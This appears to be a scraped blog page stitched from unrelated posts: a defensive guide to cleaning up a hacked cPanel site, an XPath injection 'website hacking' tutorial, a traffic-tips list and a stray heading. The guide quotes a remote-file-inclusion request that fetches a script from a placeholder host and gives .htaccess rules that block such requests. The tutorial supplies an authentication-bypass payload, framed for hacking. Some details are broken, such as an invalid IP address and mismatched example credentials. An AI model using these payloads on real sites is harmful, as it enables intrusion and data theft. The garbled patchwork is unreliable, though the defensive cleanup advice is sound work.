Things to do after the website hacking

Website security: things to do after the website hacking
Step-by-step site repair

• In an emergency, a detailed procedure helps focus on the tasks and reduces the sense of panic, so that’s what this is.
• The concepts apply to any server configuration even though only Linux, Apache, and cPanel methods are described.
• The steps are given in order of priority if you have no idea where to start

There’s lots of detail to help you do the procedures easily even if you’ve never done them before. It may seem daunting at first, but just get focused and dive in. What you learn now will help you manage your site with more confidence in the future.

What not to do
Just repairing the damaged files and hoping this experience doesn’t happen again is not enough.
Nobody is ever, ever supposed to be able to add, delete, or change files in your website without your permission. It should never happen, so when it does, it is very important to find out how it happened. A hacked site had something seriously wrong with it, even before the bad guys got in.
Ok, let’s get started…
1) Log into cPanel
The line at the top, “Last login from:” should always be your IP address from the last time you logged in. If it isn’t, write it down.
If you don’t know your IP address, it currently appears to be 2011.234.171.44, but that will be inaccurate if you are viewing a cached copy of this page. A web search on “My IP address” will find sites that can give you a more reliable report.
With high-speed internet service, your IP is always the same. If you’re on dial-up, it’s different each time you log on.
If someone was able to log in to your control panel (like you do), they have your userID, password, and the same access to your site that you have.
However, before you assume the worst, remember that if your site is at a webhosting company and you submitted a support ticket recently, a service technician might have logged into your account while investigating and preparing a response.
2) Notify your web hosting company
File a support ticket. If you’re on shared hosting, only your webhost can clean up files outside your webspace that might have been affected.

• If you found an unknown IP address in cPanel, report it.
• Give the helpdesk an alternate email address that is not at your website so you’ll still get your mail if the site goes down or if the hacker is reading or deleting your website email.

3) Change all passwords: cPanel, publishing, databases, …
Always use strong passwords. If you have been using a single password in multiple locations, take this opportunity to make every password different. This is important. The linked article explains why.
a) FrontPage users only: Change your FrontPage password first.
If the FrontPage Extensions are installed on the site, change your FP password first:

1. Open your local copy of your site in FrontPage
2. Click the Remote Web Site tab and log in
3. Click Open your Remote Web site in FrontPage (this will open a new copy of FrontPage with your remote site in it)
4. Click Tools > Server > Change Password. Whenever you get a password prompt during this procedure, it wants the old one. It doesn’t want the new one until it asks for it.

After changing the FrontPage password…
b) Log in to your webhosting account and change the password there
Some webhosts allow password changes in cPanel. Others have a separate login for password changes.
Note: if you have scripts that use your cPanel userID and password to open database connections, the password change will break those scripts, and you will start getting connection failure or “Could not connect” errors:

• If the connection data is hard-coded into the scipts, go through the scripts and change the password in all of them.
• If your scripts read the connection data from an include (or other) file, change it in that file.
• Since you’re editing the files anyway, a better and more permanent solution is to stop using your cPanel userID/password, create a different user for database connections, put the connection data in one (protected) file, and have all your scripts read the data from the file, as described below.

c) Change the passwords you use for database connections
If your scripts connect to your databases as a user that is not your cPanel userID, the password change will not break your scripts. However, the hacker could have read the connection data for all your MySQL users from your files, so change all those passwords, too:

1. Go to cPanel > MySQL® Databases > Current Users.
2. In the list, find the user you want to modify. In shared hosting (and maybe in other environments, too), the username is prefixed with YourUserID_.
3. In Username: enter the name of the user, but do not enter the prefix or the underscore. Enter only the part after the underscore. If the user is userID_example, then you enter example.
4. In Password: enter the new password.
5. Click Create User.
6. The confirmation screen will tell you that the user was created with the new password.
7. When you return to the MySQL Account Maintenance screen, you’ll see that you have not really added a user, but only replaced the old one’s password, and that this user still has the same privileges in the same databases that it had previously. You will also see that cPanel has automatically added the userID_ prefix to the username.
8. Now change all your scripts to use the new passwords. See the bullet points in section b) above.

d) Change the passwords for all your email accounts

1. Go to: cPanel > Mail > Add/Remove/Manage Accounts.
2. Set a new password for each account.
3. If you access your email with a POP or IMAP email client such as Microsoft Outlook, change its configuration settings so it knows the correct new password for each account.

4) If it is a dire emergency, take your website offline
If extremely offensive material, or viruses, were put on your pages, protect your visitors and your reputation by taking your site offline. If you do this promptly enough, you might avoid getting the “This site may harm your computer” warning in Google search results.
5) Enable log archiving in cPanel

1. Go to cPanel > Raw Log Manager.
2. Check the “Archive Logs…” box.
3. Uncheck the “Remove the previous month’s archived logs…” box.
4. Click Save

If archiving was already on, the hack might be recorded in your log files. If archiving was off, it’s too late, but another attack will probably occur, and that will be logged.
6) Find and repair all the malicious changes that were made
This describes an ideal cleanup. Fully completing every step might be impossible, but you have to do the most you can.
If your site isn’t huge, and if you are thoroughly familiar with what is in your public_html folder, you can save time and trouble by deleting everything inside public_html (but don’t delete the public_html folder itself) and republishing the entire site from a backup copy. You need to use your judgment whether this method will work for your site without destroying files you don’t have copies of. You will still need to inspect your root directory (above public_html) and its other subdirectories for damage.
6a) Get a complete list of all the files in your website
There are three methods (Sections 6a, 6b, 6c). For most purposes, this first cron job method will be easier to review in detail than the other two methods.
You might not have direct access to Linux on your server to create a directory listing, but you can create a cron job that will do it. It is the equivalent of the MSDOS command dir /s.

1. Go to cPanel > Cron jobs > Standard.
2. (First make sure any cron jobs listed there are ones you created. If you discover any created by the hack, copy the command lines and email addresses for later reference, and then delete the jobs.)
3. Enter the email address where you want the output from your cron job sent.
4. Enter the command line to run. The switches are case-sensitive, so use exactly this capitalization:
   ls -1aFlqR
   Here it is in upper case to make the letters distinct, but this command is NOT the same as the one above. Don’t use it: LS -1AFLQR.
   The switches for the ls command are described at http://www.ss64.com/bash/ls.html and http://en.wikipedia.org/wiki/Ls.
5. Make selections in all the other fields to specify a time several minutes in the future.
6. Click “Save Crontab“.
7. After it runs, go back to Cron Jobs > Standard and delete this job.

The email will contain a file list with lines that look like the following example, which shows one directory and one file:
drwxr-x— 33 user user  4096 Feb 5 20:51 public_html/
-rw-r–r–  1 user user 16669 Feb 5 20:51 index.htm
A brief explanation:

• d indicates a directory; so does the trailing slash (/)
• The 3 groups of rwx are permissions for User, Group, World, in order.
  r, w, x stands for Read, Write, eXecute a program or enter a directory.
• The user fields should show only your hosting account userID or some other ones that are obvious system names.
• The numbers are file sizes.
• The timestamps are timestamps.
• There is further explanation in this post at Lunarforums.

Walkthrough of the above examples:
public_html:

• public_html is a directory.
• The User (owner, me) can read, write, or “execute” (enter) that folder.
• The Group (that I am member of) cannot Write to that folder (thus the hyphen where the w would be)
• The World (everyone else) has no permissions here (“—”). (I know that seems odd for public_html, but the reasons why are not useful here.)

index.htm:

• index.htm, the home page, is just a file: (no “d” or “/” indicator)
• User can Read or Write (rw-). No “x” because it’s not a program or folder.
• To everyone else (Group and World), the file is Read-only (r–).

How to use the listing:

8. If you have a similar list that you made previously when the site was clean, compare the two to find files that have changed size, files whose timestamps are not what they should be, and new files that shouldn’t be there.
9. If you don’t have a prior list to compare against, review the new list for files that seem out of place. See What To Look For, below.

6b) Examine your site’s files in cPanel > File Manager
If you can’t use the cron job method, this is an alternative, but navigating up and down the directory tree gets tedious.
In File Manager, file and folder permissions are shown numerically. R=4, W=2, X=1. The permission level for a user is the sum, so the maximum a user can have is 7. If, for example, the User has RW, but Group and World only have R, then the permissions will be: 4+2=6, 4, 4, or “644″.
6c) Examine your site’s files using FTP
With an FTP view of your website, the folders and files look like what you are used to in Windows Explorer.
FTP view is available using one of the many “FTP client” programs, or Internet Explorer 6 or 7, or Windows Explorer.
FTP view is easy to navigate, and it allows sorting on the Date Modified column so you can spot files modified more recently than they should have been, but FTP view doesn’t show file and folder permissions (or at least the ones described below don’t).
With any FTP method, you need the FTP address for your site. It is probably something like: ftp://yourdomain.com/ or ftp://ftp.yourdomain.com/. If in doubt, ask your webhost.
a) FTP by IE6
In the IE6 address bar, type the FTP address for your site. If you don’t get a login prompt, click File > Login As…
b) FTP by IE7
Help for this is available in IE7 Help (F1) > Contents > FTP.

1. Open Tools > Internet Options > Advanced
2. Make sure “Enable FTP folder view (outside IE)” is checked.
3. Click OK.
4. In the IE7 address bar, type the FTP address for your site.
5. Ignore the error page.
6. Click Page > Open FTP site in Windows Explorer…
7. At the FTP Folder Error dialog box, click OK.
8. Click File > Login As… to obtain the login prompt.

c) FTP by Windows Explorer

1. Enable the address bar (View > Toolbars > Address bar). You may need to unlock the toolbars, relocate, and resize it.
2. In the address bar, type the FTP address for your site.
3. At the FTP Folder Error dialog box, click OK.
4. Click File > Login As… to obtain the login prompt.

d) FTP by FireFTP.
One feature of the FireFTP Firefox extension is “Directory Comparison”, which looks useful. I haven’t tried it.
6d) What to look for in the list of files

• Pages with modified dates more recent than you last saved the page yourself. Inspect each modified page to see if code has been added to it. Malicious changes to your displayable website pages often take the form of invisible iframes or “obfuscated” JavaScript. A separate article, what to do when Google flags your website with a “This site may harm your computer” warning, describes methods to locate and identify malicious iframes and JavaScript.If malicious JavaScript was added to your pages, it is a clue that the intent of the attack was to launch browser exploits against your site visitors.If iframes were inserted, it’s a clue that the intent was either to launch browser exploits, as above, or to obtain a benefit from serving invisible content on your pages, such as links to other sites for higher search engine rankings.
• New files with obviously suspicious names. Some hacks install files with names like hacked.html or vulnerable.php, etc. Others might have nonsensical names or names consisting of random character strings. Some might be in locations that make them suspicious, like a .php file in your /images folder. If you find a file that was definitely installed by the attack, search for other files that have almost the exact same timestamp.
• Files you don’t recognize. Determine whether each one is malicious or not. You can examine plain text PHP (.php) or Perl (.pl) scripts in a text editor.Unfortunately, you cannot simply delete all the files that aren’t yours. Some are required system files that you just never noticed before. When in doubt, do a web search on the filename or post a question in a forum. Research the names of unfamiliar CGI programs, since they cannot be examined visually.If an exploit modified files on your server, but not your displayable pages, it points to a motivation that didn’t involve targeting your site visitors. It may have been trying to turn your site into a spam emailer, a robot crawler to attack other sites, or to install on your site a library of malicious scripts or other content to be called by injected iframes or RFI attacks on other websites.
• Check your root directory (“/”) and its subdirectories for malicious or altered files. Even if you delete the contents of your public_html and republish the site from scratch, that doesn’t overwrite your folders above public_html, so you must check those manually.

7) Check all file and folder permissions
Using the complete file list you made, or File Manager, make sure all file and folder permissions are what they should be. When in doubt, you can compare the permissions of similar or neighboring files and folders. A hacker is unlikely to bother with changing all permissions. Review the brief “RWX” explanation above and apply common sense. Your site visitors are “World”, so World needs Read access to files they are supposed to see. World should almost never have Write access to anything. Although different hosts have different configurations, common permissions for world-accessible folders are 755, and common permissions for world-accessible files are 644. It is left to you to figure out why. If you start running across what look like permissions hacks, you will need to study permissions settings more carefully and do a detailed investigation of each file and folder. Some files and folders have unusual permissions settings for valid reasons.
A hacker can modify file or folder permissions to allow them to get back in even after you clean up everything else in your site. If they can give themselves Write permission to one folder, they can upload exploit scripts, run them, and reinstall the hack.
Change all your passwords again
In case someone was “watching” inside your site while you did it the first time, do it again now that you know the site is clean.
9) Try to identify the IP address that launched the attack
If you can identify their IP address, such as from an obviously unauthorized FTP access, you will be able to search all your logs for all the places where that IP address appears.
Stats programs like Analog, Webalizer, or AWStats are not going to be much help because they generate aggregated statistics. You need detail.
cPanel > Web/FTP Stats > Latest Visitors is useful and easy. It is a good place to go when you first notice the hack, but it is only a start. You really need the full raw logs.
a) If you have never used your site’s raw access logs before:
You website’s raw access logs are stored and sent to you as gzipped files. One program that will easily extract .gz files is 7-Zip. It is a command line utility that you run from a “Command Prompt” (aka “DOS box”).
b) Get your logs from cPanel > Raw Log Manager

1. Go to cPanel > Raw Log Manager. If you don’t see a log file there, try cPanel > Raw Access Logs. That is a holding file where your data is stored until the server does its daily statistics processing, after which it is transferred to Raw Log Manager.
2. Click the name of the file you want to download.
3. At the Open or Save prompt, click Save. Use a descriptive filename. Save the file to a folder that will be easy to navigate to in a Command Prompt. C:\TEMP works well.
4. Open a Command Prompt:
   Start > All Programs > Accessories > Command Prompt, or
   Start > Run > cmd.exe
5. Go to the folder where you saved the .gz file: cd \temp
6. Type the command line to extract the .gz file:
   7za.exe x filename.gz
7. You should get a report that says “Everything is Ok”.
8. I usually delete the .gz file and rename the output file to .log.
9. WordPad is best for viewing these log files as text. Set the font to a monospaced font, with word wrap Off.
10. If you are comfortable using Microsoft Access, the Webstats.mdb database has tables into which you can import your log files.
11. The HTTP log will also import into Excel, but you will need to tweak the text import wizard settings to get the fields into their columns properly.

Go through the logs carefully. If log archiving was on at the time of the hack, look for suspicious activity in the days prior to the hack. Keep watching the logs in case the hackers come back.
Your regular log shows HTTP accesses, your normal site visitors.
In the log entries, review the field called REMOTE_USER, User, or UserID. This field is blank (“-”) most of the time. Where it does have a value, make sure it’s your UserID and that the IP address is yours.
Mixed in with all the legitimate requests, look for attempts to GET pages that don’t exist (result code = 404), especially when the request looks like:
GET /filename.php?inc=http://badsite.com/hackscript.txt.
These are looking for vulnerable scripts and attempting to inject code into them. They are called Remote File Inclusion (RFI) attacks. They are extremely common, dangerous, and often successful.
Look for requests where the action is not GET, but PUT (suspicious) or POST (only suspicious if your pages never use it).
Try to correlate entries in your log with other site activity. For example, a hacked file will have a timestamp showing when it was modified. If your HTTP log shows that someone requested one of your .php files moments before the timestamp, that would be suspicious, especially if the GET command included code like the above (…php?inc=). Examine that .php file to see if it has a vulnerability that would have allowed the hack to occur. This is how your logs can help identify how a hacker got in.
In the above example, you could also use your browser to download the hackscript.txt file for inspection. If it calls other files from other sites, you can go get those, too. Following the trail and examining the code will reveal what the hack did to your site. Make sure your antivirus software is up-to-date first. Some of these files (PHP scripts) would normally only be hazardous to your server, not your home PC and browser, but others (especially the second-level ones called by the original PHP script) will directly try to infect your PC. Wget is a useful utility for retrieving potentially hazardous files without allowing them to be processed by a browser.
Your FTP log shows FTP accesses, one way that hackers can download your pages, modify them, and upload them back to your website. The only IP addresses in the FTP log should be yours and other authorized FTP users. Make sure the timestamps match times you were logged in and doing transfers.
To understand the codes used in your FTP log, see
http://www.wu-ftpd.org/man/xferlog.html.
I’ve seen reports of instances where a webhost spotted in an FTP log a transfer from an IP address other than the website owner’s and immediately assumed (and informed the owner) that their password had been guessed, cracked, or stolen. Too many of these times, however, the circumstances as reported to me have made the webhost’s claim unbelievable. Here is a hypothesis for an alternative explanation…
PHP scripts called by RFI attacks sometimes use PHP’s FTP functions to download additional hack scripts and related files from a remote server so it can run or install them. The initial RFI includes the remote script into a legitimate script on the victim server, at which point it becomes a part of that script. The script initiates an FTP transfer, which should show in the server’s FTP log. The server is not going to show its own IP address in the FTP log, but rather that of the 2nd party to the transfer, the remote website. The log of the session will make it appear as though someone logged in and initiated an FTP session, whereas in fact there was no login, and there didn’t have to be one, because the session was initiated on the server itself, from within.
Until this is tested, it remains only a hypothesis, but remember it as a possibility if you find IP addresses other than yours in your FTP log or if your webhost tries too quickly, without considering other evidence, to convince you that your password “must have been” cracked. The danger is that you may think all you need to do is change your password. If the real source of the hack was RFI, changing your password won’t help.

c) Use .htaccess or cPanel > Deny IP to block the hacker’s HTTP access to your site
If you identified the hacker’s IP address, one site where you can look it up to get more information about it is http://whois.domaintools.com/.
You can ban the hacker’s IP address from your site using your public_html/.htaccess file. Apache documentation for this is at: http://httpd.apache.org/docs/1.3/mod/mod_access.html.
Review the instructions in a prior article for how to open .htaccess for editing. As described there, insert the following line in a part of the file that is not enclosed in HTML-like tags.
deny from nnn.nnn.nnn.nnn
The nnn’s are the IP address to block.
If the hacker returns with a different IP that is in the same IP range (i.e. using the same ISP), you can block the whole range for a while, although that carries the risk of banning legitimate visitors, too.
The Apache documentation has instructions for banning a range. Some IP ranges are easily specified using a simple wildcard notation. Others ranges can only be successfully defined using “CIDR/netmask” notation. Although it looks intimidating, it’s easy after the first time you do it. See the separate article describing how to calculate and use the CIDR/netmask.
d) If the hacker has obtained access to your cPanel or FTP, banning their IP address in .htaccess will NOT keep them out of cPanel and FTP.
If they have scripts that they call by HTTP, it will prevent them from doing that, but only until they log into cPanel and un-ban themselves in .htaccess.

10) Investigate what made the hack possible
It might be obvious or it might require detective work. The section below on hack prevention describes some common avenues of attack. It is important to identify how they got in so you can prevent the next attack. For example, if they got in through a vulnerable script, and you don’t rewrite or update the script, all the work you’ve done to this point is useless because they can come right back and wreck your site again.
Three common avenues:

1. Old vulnerable versions of third party scripts. Make sure you are always using the latest versions of software for forums, image galleries, blogs, shopping carts, and everything else.The script version is often shown on the pages generated by the script, so go to your gallery, blog, or forum, and look around. Then compare the version to the latest one being distributed at the website for that software.If you do your installations through Fantastico, you can check your versions at cPanel > Fantastico > Installations overview, but Fantastico itself is often a version behind the current release. It is better to do your version check (and installations) manually if you are able.
2. The site password was easy to crack.
3. Homebrew PHP or CGI scripts were flawed and had security holes. Make sure the settings in your php.ini file
   are as secure as possible.If you suspect that a script you wrote yourself might have provided the security hole through which the hackers got in, it is safest to stop using that script until you can examine it for safety. Rename or delete it so the hacker can’t continue to access it by its previous name.

Regardless of what the specific point of entry was (forum, gallery, blog, etc.), the top suspect should always be a Remote File Inclusion attack that succeeded because of insecure php.ini or .htaccess settings. More than 99% of the attacks on this website are RFI attempts. That does not mean RFI is the only possibility. It is not. But it is the first one to investigate unless you already have good evidence that it was something else. RFI attacks show in your HTTP access logs, and are described throughout this article.

11) Report or go after the hacker legally?
You can try, but your chances of getting anywhere with it might not be great.
Hacking is a violation of the terms of service for any legitimate web host or ISP. If you can prove that someone is using a particular IP address for hacking, you could report the incident to the web host or ISP in hopes that they might shut the perpetrator down. The contact email is often abuse@ the company.
What to do NOW to protect your website
Steps to prevent hacking
1) Always use strong passwords.
2) Use a different password for every purpose.
3) Don’t weaken your server’s file and folder permissions.
Each file and folder on your server has permissions settings that determine who can read or write that file, execute that program, or enter that folder. Your webhost initially created your webspace with secure permission settings on all files and folders.
Do not modify the permissions until you know what you’re doing. Don’t guess. One mistake can allow anyone in the world to put files on your site.
In particular, people having trouble installing web applications are sometimes told, “try setting the permissions to 777″. Never do this until you have asked your web host if it is safe on your particular server configuration, and remember that for some web applications, 777 is only used during the installation, and must not be left that way. Also remember to delete the install scripts after use, if the instructions tell you to.
There is a brief explanation of permissions settings earlier in this article.
4) Choose third party scripts carefully
Don’t load your website down with every cool script, gadget, feature, function, and code snippet you can find on the web. Any one of them could be an avenue of attack. Before you use one, do a web search to discover if it has caused problems for others.
5) Keep third party scripts up to date
If you use well-maintained third party scripts like Coppermine, WordPress, SMF, phpBB, or others, get on a mailing list, RSS feed, or visit forums where updates are announced. When a security update is released, install it promptly. When a vulnerability is found in a commonly used script, it will be exploited soon by a lot of hackers because it gives them entry to a large number of sites.
6) Write your own scripts securely

• Learn about the security risks of every language you use.
• When you use an unfamiliar function for the first time, look it up in the manual to see if it has security implications, do’s and don’ts.
• For PHP, use a php.ini file to block common avenues of attack.
• There are lots of online resources for learning how to code securely.

A vulnerable script can give hackers access to your user database and to financial or other confidential data.

• All data that comes into your script from the outside world is a security hazard. If your script takes input from a user form submission or from a URL query string or from a cookie, the input must be cleaned before it’s used to include a file or access a database. An example of how one injection exploit works is at this Lunarforums post.

7) Block suspicious activity with .htaccess
Regularly look through your raw access logs. They will probably reveal attacks of the types described in this article. Even if the attempts are unsuccessful, your logs give early warning about what methods hackers are trying to use, which gives you time to figure out how to defend against them. It won’t be long before you can tell what is a legitimate request and what is malicious. Here are some examples of how to block suspicious activity:

1. Ban bad robots.
   One program often misused for automated remote file inclusion attacks is called  “libwww-perl”. The RFI cannot succeed if your server refuses to serve the file, so blocking this commonly malicious User-Agent can be one defense in a multi-layer approach. (Another layer is to use secure php.ini settings.) Put the following lines in your public_html/.htaccess, in a part of the file that is not delimited by HTML-style tags like <tag></tag>:

SetEnvIfNoCase User-Agent libwww-perl block_bad_bots
# to deny more bots, copy the line above and change
# only libwww-perl, to match the new name.
deny from env=block_bad_bots
SetEnvIfNoCase does a case-insensitive test of the User-Agent against a regular expression, which in this case is “contains libwww-perl”. If it matches, it sets the variable block_bad_bots. The final line says if block_bad_bots was set (i.e. if the requestor matched any of the bad robots), refuse to process the request and send a 403 Forbidden error instead. Regardless of what the bad robot was trying to do, it won’t succeed.

2. Ban suspicious URL query strings.
   Another defense against RFI is to block all requests having the form:
   GET /index.php?inc=http://badsite.com/hackscript.txt?
   The following .htaccess code blocks any request where the query string (the part after the first question mark) contains “=http://” or “=ftp://”. During times when you need to use a query string of that type yourself, you can comment out the code block or enable the exception shown:

RewriteCond %{QUERY_STRING} ^.*=(ht|f)tp\://.*$ [NC]
# Allow yourself, for SMF Forum Package Manager upgrades.
# Set it to your own IP address during the upgrade.
#RewriteCond %{REMOTE_ADDR} !^111\.222\.333\.444$ [NC]
RewriteRule .* – [F,L]

To test: you should get a 403 Forbidden error when you try to go to:
http://yoursite.com?inc=http://yoursite.com/pagename.htm?
http://yoursite.com?inc=ftp://yoursite.com/pagename.htm?
If you have coded your pages to use remote file includes from your own site or from another site you manage and trust, you should be able to modify the above code (with additional RewriteCond lines) so the includes from those sites are permitted but all others are rejected. I haven’t tested this, and it does weaken the defense by creating an exploitable loophole (where a hacker uses two instances of =http:// or =ftp:// in the query string, one being a page on your site), but it’s better than nothing, and the code should be something like:

RewriteCond %{QUERY_STRING} ^.*=(ht|f)tp\://.*$ [NC]
RewriteCond %{QUERY_STRING} !^.*=(ht|f)tp\://yoursite.com.*$ [NC]
RewriteCond %{QUERY_STRING} !^.*=(ht|f)tp\://trustedsite.com.*$ [NC]
RewriteRule .* – [F,L]

Other potential bans:
1) Malicious RFI attempts almost always have at least one question mark at the end of the query string, so ban any query string that contains a question mark. The first question mark (which indicates the beginning of the query string) is not part of the query string, so only question marks after the first one will trigger the ban.
2) Be creative: all you need to do is find the characteristics that are common in the attacks on your site but that are never present in legitimate requests. Be thorough: use every good ban rule you can think of. “Good enough” is not good enough. It is very satisfying to see an attack on your site and know that even though it only had to trigger one ban rule to fail, you had six more in reserve that would have blocked the request if they’d had to.

3. Ban IP addresses responsible for suspicious activity.
   You can block IP addresses (or ranges) in .htaccess or by cPanel > Deny IP. Although such bans can be useful against IP addresses you are 100% certain will never make a legitimate request, they aren’t otherwise very practical. Once a botnet starts attacking your site, the requests will come from hundreds of different IPs, and banning them all will be futile. It is much better to ban by the other characteristics of the requests.

Keep spyware off your computer. Prevent password interception.

• If you use a wireless network, make sure it is not open to eavesdroppers.
• Keep your computer free of spyware such as keyloggers.
• If you’re worried about your password being intercepted between you and your server, use encrypted https to log in to your server.

Preparations that will make hack diagnosis and cleanup easier
1) Turn on log archiving in cPanel
Periodically delete the accumulated logs so they don’t consume all your hard drive space.
2) Get a list of your site files NOW while they are known-good
This will be a baseline list of all the files that are supposed to be in your website. After a hack, it will help you decide whether a file you don’t recognize is related to the hack or is a system file that you just never noticed before.
3) Explore your website and become familiar with what is there
Not just your pages, but the whole site, using FTP or File Manager or the complete file list you made. Get used to what is normal so things that aren’t will catch your attention.
4) Use good database connection practices in scripts:
a) Create separate MySQL users for your scripts to use
If you use your cPanel userID and password for database connections in your scripts, then changing your cPanel password will instantly break all your scripts until you recode them to use the new password.
Instead, create one or more new users, completely unrelated to your cPanel login, that your scripts can use for their database connections:

1. Go to cPanel > MySQL® Databases > Current Users.
2. In Username: enter the name of the user to create. Although the existing user names might appear as YourUserID_username, don’t enter the prefix and underscore. cPanel will do that for you, if needed.
3. In Password: enter the password to use. Make it a strong one.
4. Click Create User, read the confirmation screen, and then Go Back to the MySQL Account Maintenance page.
5. Go to the Add Users To Your Databases section.
6. In the left dropdown box, select the user you just created.
7. In the right dropdown box, select the database you want that user to be able to connect to.
8. Select the Privileges you want that user to have for that database, by checking the appropriate boxes. Select only the privileges the user really needs for performing whatever tasks your scripts will do. Granting only limited privileges is a security precaution.
9. Click Add User To Database. Your new user now has the specified privileges, for that database only. Add the user to other databases, if needed.

Now update your scripts so they use the connection data for this new user instead of your old cPanel user. However, …
b) Put your MySQL connection data in a well protected file
If each of your scripts has its own code block for database connection, then if you are hacked and have to change your passwords, you’ll have to hunt through all your files to find every code block that needs changing.
Instead, put all your database connection code in one central location such as an include file that is well-protected from web access, and make all your scripts read it from there. There are examples and some discussion about how to do this in the User Contributed Notes at http://us.php.net/mysql_connect. You can protect your include file by putting it in a folder above public_html, or in any folder that is closed to web access by an .htaccess file, or by the other methods mentioned in the php.net Notes.
Unfortunately, none of these protection methods will keep your data safe from a hacker who has actually gotten into your site, but the new database connection method you have just created will make it easier to change your password if that does happen.

Hack Websites Database Using XPath Injection

Everyday many website gets hacked by hackers but most of the hackers are hacking those website just for popularity nothing else. Today i am writing this tutorial on XPath Injection, in which i will explain you, How Hackers Hack Website Using XPath Injection.

In a typical Web Application architecture, all data is stored on a Database server. This Database server store data in various formats like an LDAP, XML or RDBMS database. The application queries the server and accesses the information based on the user input.

Normally attackers try to extract more information than allowed by manipulating or using the query with specially crafted inputs.Here, in this tutorial we’ll be discussing XPATH Injection techniques to extract data from XML databases.

 

XPath Injection Tutorial To Hack Websites Database

Before we go deeper into XPATH injection lets take a brief look at what XML and XPath.

 

What is XML?

XML stands for Extensible Markup Language and was designed or used to describe data. It provide platform for programmers to create their own customized tags to store data on database server. An XML document is mostly similar to an RDBMS Database except for the way data is stored in them. In case of a normal database, data is stored in a table rows and columns and in XML the data is stored in nodes in a tree form.

 

What is XPath?

XPath is a query language used to select data from XML data sources. It is increasingly common for web applications to use XML data files on the back-end, using XPath to perform queries much the same way SQL would be used against a relational database.
XPath injection, much like SQL injection, exists when a malicious user can insert arbitrary XPath code into form fields and URL query parameters in order to inject this code directly into the XPath query evaluation engine. Doing so would allow a malicious user to bypass authentication (if an XML-based authentication system is used) or to access restricted data from the XML data source.

Lets learn with the help of examples that will show how XPath works, Let's assume that our database is represented by the following XML file:

 

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>hackmenow</username>
<password>123</password>
<account>admin</account>
</user>
<user>
<username>cutler</username>
<password>jay</password>
<account>guest</account>
</user>
<user>
<username>ronie</username>
<password>coleman</password>
<account>guest</account>
</user>
</users>  

 

The above code show how username,password and user account details stored in XML file.

Following XPath query is used to returns the account whose username is "wildhacker" and the password is "123" : , 

 

string(//user[username/text()='gandalf' and password/text()='!c3']/account/text()) 

 

If the application developer does not properly filter user input, the tester or hacker will be easily able to inject XPath code and interfere with the query result. For instance, the hacker or tester could input the following values: 

 

Username: ' or '1' = '1
Password: ' or '1' = '1  

 

Using these above parameters, the query becomes: 

 

string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())  

 

As in most of the common SQL Injection attack, we have created a query that always evaluates to true, which means that the application will authenticate the user even if a username or a password have not been provided.

And as in a common SQL Injection attack, with XPath injection, the first step is to insert a single quote (') in the field to be tested, introducing a syntax error in the query, and to check whether the application returns an error message.

If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a Blind XPath Injection attack(i will explain that in next tutorials), whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information.

That’s it.

So friends, I hope you will like this
XPath Injection Tutorial For Website Hacking....
If you have any queries or doubts related about XPath Injection Tutorial, you can ask in form of comments, please mention it in comments section.

Enjoy Website Hacking ........  

Top 10 ways of increasing traffic

Do you want to increase your web or blog traffic???
obviously yes  ok then there are top 10 methods that i like so i share with you read it thank you

1. Optimize Your Site For Search Engines. Search engines have always been an important means to get traffic for free. Therefore you should do your homework and optimize your site so that puts him well for keywords to use. SEO is still the most powerful means to get free traffic and you really have to invest time and effort optimizing your site.

2. Frequently Update Your Site.

If you were expecting some shocking secrets revealed, you might be a little disappointed. One of the first step to getting free traffic to have good content and update it frequently. If your content is good and frequently updated, you will not only build a loyal returning visitors, who will often have the opportunity to see what is new, but search engines will love your site.

3. Leverage Social Bookmarking Sites.

Social bookmarking sites (especially the most popular of them) is another effective way to get traffic for free. If you want to learn to do, check out how to get traffic from social bookmarking sites section where we explain what to do if you want to get free traffic from sites like Digg, Delicious, etc.

4. Use Your Twitter And Facebook.

Social networks are also a way to get traffic for free. If you are popular on networks like Twitter or Facebook, the traffic you get from there can easily exceed the traffic of Google and other search engines. It is true that building a vast network of followers on Twitter and dedicated fans on Facebook takes time and effort, but overall the results are worth it.

5. Get Links To Other Sites Instead.

Another way to get free traffic are on other sites in your niche. Get links to other sites in your niche is also good for SEO, especially if you manage to get links without nofollow famous. But even if the links are nofollow (ie they are useless for SEO), they still contribute to get traffic to your website. If you can put your link in a visible place on a site with large amounts of traffic, you get thousands of visitors from this single link. If you need a list of sites in your niche where you could get backlinks, see Backlink Builder tool. However, be careful if you exchange links, because links to bad neighbors you can do much damage.

6. Use An Opportunity To Promote Your Site For Free.

free promotion is always welcome, we should not overlook. There are several ways to promote your site for free and some of the most popular include free classifieds, submissions to directories, inclusion in the various lists, etc. It is true that all free ways to promote your site works fine, but if selecting the right place to promote your site for free, can also cause tons of traffic

7. Create A Free Product Or Service.

Contents of the busiest units in which they offer something useful. There are many types of useful content, you can create and depend largely on the niche of your site. You can have articles with lots of tips and tricks in the short term, but one of the most effective ways to get traffic is to create a free product or service. When that product or service is very popular and people start to visit your site, it is likely that other sections of the site visit as well.

8. Using A Viral Content.

free products and services are perfect for free traffic to your site and one of the best varieties of this issue is the viral content. viral content is so called because it is distributed like a virus - which is when the users and the content they send to their friends, because in several places, and promoting free number of different ways. viral content distribution itself and its only task is to create and send a couple of popular sites. After users collect and distribute for you. viral content can be a hot video or presentation, but can also be a good story or an older image.

9. Use The Online Promotion. 

Offline promotion is often forgotten, but it is also a way to get traffic for free. Yes, computers are everywhere and many people spend more time than offline, but life has not moved entirely online. Offline promotion is also very strong, and if you know how to use it, it can also bring you many visitors. Some of the traditional offline ways to promote your site includes the printing of its URL on your business cards and souvenirs or stick it on your company car. You can also start selling T-shirts and other products with your logo and this way of making your brand more popular.

10. Enter Your URL In Your Signature.

URL in the signature of the forum are also a way to get traffic for free. There are forums that receive millions of visitors a day and if you are a user on a popular forum, you can use to get traffic to your site. By posting in the forums and people like your posts, which tend to click on the link to your website in my signature for more information about you. In rare cases, may be able to send a deep link (ie, a link to an internal page of the site) instead of a link to your page and also a way to draw attention to a particular page. Unfortunately, deep links are rarely allowed.

Get free traffic is a big topic and it is not possible to list all means. However, if you know the most important ways - that's how we have discussed in this web and are correctly applied, ensures that you will be able to get lots of traffic.

Device Driver Backup and Restore Utilities

